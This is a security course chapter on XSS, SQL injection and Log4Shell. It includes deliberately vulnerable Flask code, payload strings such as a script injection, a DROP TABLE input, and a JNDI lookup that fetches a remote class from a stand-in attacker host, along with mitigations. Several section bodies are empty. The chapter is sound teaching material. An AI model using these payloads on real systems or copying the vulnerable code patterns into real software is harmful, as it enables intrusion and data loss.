Skip to article frontmatterSkip to article content
Site not loading correctly?

This may be due to an incorrect BASE_URL configuration. See the MyST Documentation for reference.

Deadly Sins of Software Security

Software security is not just about preventing attackers from breaking into systems; it is about avoiding design and implementation choices that inadvertently invite them in. In this chapter, we explore three of the most notorious “deadly sins” of software security: Cross-Site Scripting (XSS), SQL Injection, and the infamous Log4Shell (Log4J) vulnerability.

Along the way, we will see how these vulnerabilities arise, why they are dangerous, and how to prevent them. We will also discuss responsible disclosure practices and lessons for building secure software in the age of AI-assisted development.

1. Cross-Site Scripting (XSS) — CWE-79

What is XSS?

Cross-Site Scripting (XSS) occurs when an application takes untrusted input and renders it back into a web page without validation or sanitization. This allows an attacker to inject malicious JavaScript code that executes in the victim’s browser.

Demonstration: Vulnerable Flask App

# app.py
from flask import Flask, request, render_template
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get("name", "World")
    return render_template("hello.html", name=name)

# hello.html
<h1>Hello {{ name }}</h1>

If the attacker visits:

http://localhost:5000/?name=<script>alert('Hacked!')</script>

…the browser executes the injected script.

Mitigation

  1. Escape special characters: Convert < to &lt;, > to &gt;, etc. so that browsers treat input as plain text.

    import html
    safe_name = html.escape(name)
    return render_template("hello.html", name=safe_name)
  2. Use template engines correctly: Many frameworks (e.g., Jinja2 in Flask) automatically escape variables if the template extension is .html. If developers bypass or disable escaping, they reintroduce risk.

  3. Validate inputs: Ensure that input conforms to expected formats (e.g., usernames, emails).


2. SQL Injection (SQLi) — CWE-89

What is SQL Injection?

SQL Injection occurs when applications build database queries using string concatenation with untrusted input. This lets attackers alter the intended query structure and execute arbitrary SQL commands.

Example: Vulnerable Flask App

@app.route("/search")
def search():
    username = request.args.get("username")
    conn = sqlite3.connect("users.db")
    cursor = conn.cursor()
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    results = cursor.fetchall()
    conn.close()
    return render_template("search.html", results=results)

If the user enters:

admin' OR '1'='1

…the resulting query is:

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

which returns all rows in the users table.

Consequences

Exploits from Class Activity

This is the basis of the classic XKCD “Little Bobby Tables” comic, where a parent names their child:

Robert'); DROP TABLE Students;--

teaching developers the hard way to sanitize inputs.

Mitigation

  1. Use Prepared Statements (Parameterized Queries):

    query = "SELECT * FROM users WHERE username = ?"
    cursor.execute(query, (username,))

    Here, the database treats username strictly as a string — not executable SQL.

  2. Avoid string concatenation in queries.

  3. Least privilege: Ensure application accounts have minimal DB privileges.

  4. Input validation: Restrict allowed characters when appropriate.


3. Log4Shell (Log4J Vulnerability)

What is Log4Shell?

In late 2021, the world learned of CVE-2021-44228, dubbed Log4Shell. This vulnerability in Apache Log4J, a popular Java logging framework, allowed attackers to achieve remote code execution (RCE) with a single crafted input string.

Case Study: Minecraft Servers

Minecraft servers running Log4J were vulnerable because chat messages were logged without sanitization.

Exploit string:

${jndi:ldap://attacker.com:1389/Exploit}

When logged, Log4J interpreted this as a lookup, fetched a malicious class over LDAP, and executed its static initializer block. For demo purposes, that block opened the Calculator app:

public class MinecraftLog4J {
    static {
        try {
            String os = System.getProperty("os.name").toLowerCase();
            if (os.contains("win")) {
                Runtime.getRuntime().exec("calc").waitFor();
            } else if (os.contains("mac")) {
                Runtime.getRuntime().exec("open -a Calculator").waitFor();
            }
        } catch(Exception ex){
            ex.printStackTrace();
        }
    }
}

Behind the Scenes

  1. User sends a crafted chat message.

  2. Server logs it using Log4J.

  3. Log4J resolves ${jndi:...} using the Java Naming and Directory Interface (JNDI).

  4. JNDI fetches the class over LDAP from the attacker-controlled server.

  5. The class loads, executing its static block — the attacker’s code.

Impact

Mitigation


4. Responsible Disclosure

Discovering a vulnerability comes with ethical responsibilities:


5. Summary

The overarching lesson: never trust unvalidated input — whether it’s HTML, SQL, or log messages.


6. Exercises

  1. XSS Practice:

    • Modify a simple Flask app so that name is echoed unsafely.

    • Craft a payload that triggers an alert.

    • Fix the app using html.escape().

  2. SQL Injection Activity:

    • Given the vulnerable query:

      SELECT * FROM users WHERE username = '{username}'
      • Craft an input that dumps all rows.

      • Craft an input that drops the table.

    • Mitigate using parameterized queries.

  3. Log4Shell Simulation:

    • Research how ${jndi:ldap://...} works in Log4J.

    • Explain in your own words why logging user input is dangerous.

    • Identify other places in your own projects where “innocent” features could execute untrusted input.